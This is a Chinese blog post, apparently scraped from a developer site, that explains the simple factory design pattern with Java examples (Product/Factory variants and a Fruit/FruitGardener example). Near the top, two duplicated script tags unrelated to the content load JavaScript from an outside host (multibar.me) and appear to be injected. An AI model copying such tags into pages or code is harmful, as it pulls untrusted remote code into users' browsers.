`

设计模式-简单工厂模式

阅读更多

<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>

<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>

      创建模式,是对类得实例化过程的抽象化,一些系统在创建对象时,要动态的决定怎么样创建、创建哪些以及如何组合和表示这些对象。创建模式分为类得创建模式和对象的创建模式。

类得创建模式:使用继承关系,将类的创建延迟到子类,从而屏蔽客户端的得到哪些类得信息,并且隐藏了这些类的实例是如何被创建和组装的。

对象的创建模式:把对象的创建过程动态地委派给另一个对象,从而动态地决定客户端将得到哪些具体类的实例。

 

一:简单工厂模式

也叫做静态工厂模式,顾名思义,将由一个工厂对象决定创建出哪一种产品类的实例。

模式结构 工厂 -- à 具体产品,具体产品继承自抽象产品。

由工厂方法根据传入的参数决定创建哪一种产品类。

角色:

工厂类( Creator )角色:在客户端的调用下创建产品对象,里面包含与应用相关的逻辑

抽象产品( Product )角色:工厂方法创建的产品的父类,非必要角色

具体产品( ConcreteProduct )角色:工厂方法创建的实例

代码示例

1 , 三种角色

package com.co.patterns.simpleFactory.demo;

public interface Product {
}

package com.co.patterns.simpleFactory.demo;

public class ConcreteProduct implements Product {

	public ConcreteProduct() {
	}
}

package com.co.patterns.simpleFactory.demo;

public class Factory {

	public static Product createProduct() {
		return new ConcreteProduct();
	}
}

2 , 系统中产品角色单一,省略抽象产品角色
 package com.co.patterns.simpleFactory.demo;

public class ConcreteProduct {

	public ConcreteProduct() {
	}
}

package com.co.patterns.simpleFactory.demo;

public class Factory {

	public static ConcreteProduct createProduct() {
		return new ConcreteProduct();
	}
} 

3,工厂与抽象产品合并
package com.co.patterns.simpleFactory.demo;

public abstract class Product {

	public static Product createProduct() {
		return new ConcreteProduct();
	}
}

package com.co.patterns.simpleFactory.demo;

public class ConcreteProduct extends Product {

       public ConcreteProduct() {
       }
} 

4 , 合并三个角色
package com.co.patterns.simpleFactory.demo;

public class ConcreteProduct {

       public ConcreteProduct() {
       }

       public static ConcreteProduct createProduct() {

               return new ConcreteProduct();
       }
}  

简单工厂模式是一种非常基本的设计模式,它会在很多模式中出现。
 
下面是一个具有产品等级结构的例子:
package com.co.patterns.simpleFactory;

public interface Fruit {
	public void plant();
	public void grow();
	public void harvist();
	public void show();	
}
public class Apple implements Fruit {

	public void grow() {

		System.out.println("Apple growing");
	}

	public void harvist() {

		System.out.println("Apple harvisting");
	}

	public void plant() {

		System.out.println("Apple planting");
	}

	public void show() {
		plant();
		grow();
		harvist();
	}

}
public class Grape implements Fruit {

	public void grow() {

		System.out.println("Grape growing");
	}

	public void harvist() {

		System.out.println("Grape harvisting");
	}

	public void plant() {

		System.out.println("Grape planting");
	}

	public void show() {
		plant();
		grow();
		harvist();
	}
}

public class FruitGardener {

	public static Fruit factory(String name) throws FruitInfoException {
		if ("apple".equalsIgnoreCase(name)) {
			return new Apple();
		} else if ("grape".equalsIgnoreCase(name)) {
			return new Grape();
		} else {
			throw new FruitInfoException("The Fruit info is Error");
		}
	}
}
public class Client {

	public static void main(String[] args) {

		try {
			Fruit f1 = FruitGardener.factory("Apple");
			f1.show();
			Fruit f2 = FruitGardener.factory("Grape");
			f2.show();
			Fruit f3 = FruitGardener.factory("Aple");
			f3.show();
		} catch (FruitInfoException e) {
			System.err.println(e.getMessage());
		}
	}
}
public class FruitInfoException extends Exception {

	public FruitInfoException(String msg) {
		super(msg);
	}
}

在工厂中可以有多个工厂方法,例如java.text.DateFormat类,它是其子类的工厂
0
5
分享到:
评论

相关推荐

    北风网-设计模式-简单工厂模式ppt

    简单工厂模式是面向对象设计模式中的一种,它属于创建型模式,主要解决的是在系统中如何创建对象的问题。设计模式是软件开发中的经验总结,旨在提高代码的可重用性、可读性和可维护性。 在简单工厂模式中,一个工厂...

    设计模式-简单工厂模式《搭积木》

    在这个名为“设计模式-简单工厂模式《搭积木》”的主题中,我们将深入探讨这种模式的概念、应用场景以及C#语言中的实现方式。 简单工厂模式的核心思想是通过一个公共的工厂类来创建对象,而不是让客户端直接实例化...

    设计模式-简单工厂模式-例题

    ### 设计模式——简单工厂模式解析与应用实例 #### 一、简单工厂模式概述 简单工厂模式(Simple Factory Pattern)是一种常用的创建型设计模式。它提供了一种方式来封装对象的创建过程,使得整个系统更加灵活,...

    java设计模式-简单工厂模式示例

    简单工厂模式是面向对象设计中的一种经典设计模式,它属于创建型模式,主要用来解决对象的创建问题。在Java编程中,简单工厂模式通过一个中心工厂类来负责创建相关的对象,而无需让客户端代码直接new具体的产品类。...

    设计模式-简单工厂模式-披萨店C#语言版

    简单工厂模式是软件设计模式中的一种,它属于创建型模式,旨在提供一个统一的接口,用来创建一组相关或相互依赖的对象。在这个例子中,我们关注的是如何使用C#语言实现这个模式,特别是在披萨店的场景下。 在披萨店...

    设计模式-简单工厂源码

    C++设计模式-创建型模式-简单工厂模式源码

    设计模式-简单工厂模式(讲解及其实现代码)

    **简单工厂模式**是一种创建型设计模式,它提供了一个创建对象的接口,但允许子类决定实例化哪个类。这个模式使代码可以独立于实际的产品类进行编写。 ### 模式概念 在软件工程中,当一个类不知道它所应该创建的...

    java设计模式----抽象工厂模式

    java设计模式----抽象工厂模式,简单工厂模式代码 代码内部

    Java设计模式 - 简单工厂 & 工厂方法(构建工厂)源码:FactoryModel

    Java设计模式 - 简单工厂 & 工厂方法(构建工厂)源码:FactoryModel - 详情:https://blog.csdn.net/Dream_Weave/article/details/83989879

    简单工厂模式-工厂方法模式-抽象工厂模式

    在软件设计模式中,工厂模式是一组非常基础且实用的设计模式,主要分为简单工厂模式、工厂方法模式和抽象工厂模式。这些模式都是为了解决对象创建的问题,通过封装对象的创建过程,使得代码更加灵活,易于扩展和维护...

    Java设计模式-简单工厂

    简单工厂模式是软件设计模式中的一种基础模式,它属于创建型设计模式。在Java编程中,我们常常会遇到需要创建一系列相关或相互依赖的对象,而这些对象的创建过程可能会非常复杂。这时,简单工厂模式就提供了一种封装...

    java设计模式--工厂模式

    Java设计模式中的工厂模式是一种创建型设计模式,它提供了一种创建对象的最佳方式。工厂模式的核心思想是将对象的创建过程封装起来,使得创建过程独立于使用过程,从而提高了代码的可扩展性和可维护性。在HeadFirst...

    c++设计模式-工厂方法模式

    描述中的“创建型模式-工厂方法模式-最简单的源码-qt工程”表明,这个压缩包可能包含了一个基于Qt框架的C++项目,该项目展示了工厂方法模式的简单应用。Qt是一个跨平台的应用程序开发框架,广泛用于GUI编程,但也...

    设计模式----简单工厂模式

    简单工厂模式是软件设计模式中的一种基础模式,它属于创建型模式,主要解决对象的创建问题,使得代码在创建对象时更加灵活,同时也隐藏了对象的创建细节。在这个模式中,一个专门的工厂类负责创建特定类型的对象,而...

    设计模式--工厂模式java例子

    在这些模式中,工厂模式尤为突出,它是一种创建型设计模式,为对象的创建提供了抽象接口,使得代码无需直接实例化具体类,而是通过工厂方法来创建对象。 在Java编程语言中,工厂模式的应用广泛且实用。它主要分为三...

    1.java设计模式-创建者模式-简单工厂模式.pdf

    简单工厂模式是Java设计模式中创建型模式的一种,也被称为静态工厂方法模式。该模式的主要思想是由一个专门的工厂类来负责创建其他类的实例。简单工厂模式通过封装创建对象的过程,使得调用者无需关心对象的具体创建...

    3.java设计模式-创建者模式-抽象工厂模式.pdf

    简单工厂模式则是创建型设计模式的另一种,它提供一个创建对象的接口,但是让子类决定实例化哪一个类。它负责创建所有可能的类的实例,一般被用来创建某一类产品。 在上述组装电脑的场景下,简单工厂模式可以帮助...

Global site tag (gtag.js) - Google Analytics